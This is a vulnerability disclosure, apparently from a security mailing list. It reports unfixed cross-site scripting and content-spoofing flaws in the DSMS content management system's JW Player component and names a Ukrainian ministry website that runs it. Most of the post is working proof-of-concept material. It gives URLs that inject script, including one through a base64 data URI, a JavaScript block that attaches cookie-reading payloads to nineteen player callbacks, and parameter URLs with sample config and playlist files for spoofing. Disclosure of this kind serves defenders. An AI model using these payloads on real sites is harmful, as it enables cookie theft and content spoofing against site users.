DSMS Cross Site Scripting / Content Spoofing

Change Mirror Download
Hello list!

There are Cross-Site Scripting and Content Spoofing vulnerabilities in DSMS.
This is commercial CMS. It's used particularly at government site
dsmsu.gov.ua - web site of Ministry of Youth and Sport of Ukraine.

There are also other vulnerabilities in the system, about which I've
informed developers. None of the vulnerabilities were fixed.

Affected products:

Cross-Site Scripting (WASC-08):

http://site/templates/default/js/jwplayer/player.swf?playerready=alert(document.cookie)

http://site/templates/default/js/jwplayer/player.swf?displayclick=link&link=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B&file=1.jpg

Cross-Site Scripting (WASC-08):

If at the site at page with jwplayer.swf (player.swf) there is possibility
(via HTML Injection) to include JS code with callback-function, and there
are 19 such functions in total, then it's possible to conduct XSS attack.
I.e. JS-callbacks can be used for XSS attack.

Example of exploit:

<script type="text/javascript" src="jwplayer.js"></script>
<div id="container">...</div>
<script type="text/javascript">
jwplayer("container").setup({
flashplayer: "jwplayer.swf",
file: "1.flv",
autostart: true,
height: 300,
width: 480,
events: {
onReady: function() { alert(document.cookie); },
onComplete: function() { alert(document.cookie); },
onBufferChange: function() { alert(document.cookie); },
onBufferFull: function() { alert(document.cookie); },
onError: function() { alert(document.cookie); },
onFullscreen: function() { alert(document.cookie); },
onMeta: function() { alert(document.cookie); },
onMute: function() { alert(document.cookie); },
onPlaylist: function() { alert(document.cookie); },
onPlaylistItem: function() { alert(document.cookie); },
onResize: function() { alert(document.cookie); },
onBeforePlay: function() { alert(document.cookie); },
onPlay: function() { alert(document.cookie); },
onPause: function() { alert(document.cookie); },
onBuffer: function() { alert(document.cookie); },
onSeek: function() { alert(document.cookie); },
onIdle: function() { alert(document.cookie); },
onTime: function() { alert(document.cookie); },
onVolume: function() { alert(document.cookie); }
}
});
</script>

Content Spoofing (WASC-12):

Swf-file of JW Player accepts arbitrary addresses in parameters file and
image, which allows to spoof content of flash - i.e. by setting addresses of
video (audio) and/or image files from other site.

http://site/templates/default/js/jwplayer/player.swf?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF

http://site/templates/default/js/jwplayer/player.swf?file=1.flv&image=1.jpg

Swf-file of JW Player accepts arbitrary addresses in parameter config, which
allows to spoof content of flash - i.e. by setting address of config file
from other site (parameters file and image in xml-file accept arbitrary
addresses). For loading of config file from other site it needs to have
crossdomain.xml.

http://site/templates/default/js/jwplayer/player.swf?config=1.xml

1.xml

<config>
<file>1.flv</file>
<image>1.jpg</image>
</config>

Swf-file of JW Player accepts arbitrary addresses in parameter playlistfile,
which allows to spoof content of flash - i.e. by setting address of playlist
file from other site (parameters media:content and media:thumbnail in
xml-file accept arbitrary addresses). For loading of playlist file from
other site it needs to have crossdomain.xml.

http://site/templates/default/js/jwplayer/player.swf?playlistfile=1.rss

http://site/templates/default/js/jwplayer/player.swf?playlistfile=1.rss&playlist.position=right&playlist.size=200

1.rss

<rss version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
<channel>
<title>Example playlist</title>
<item>
<title>Video #1</title>
<description>First video.</description>
<media:content url="1.flv" duration="5" />
<media:thumbnail url="1.jpg" />
</item>
<item>
<title>Video #2</title>
<description>Second video.</description>
<media:content url="2.flv" duration="5" />
<media:thumbnail url="2.jpg" />
</item>
</channel>
</rss>
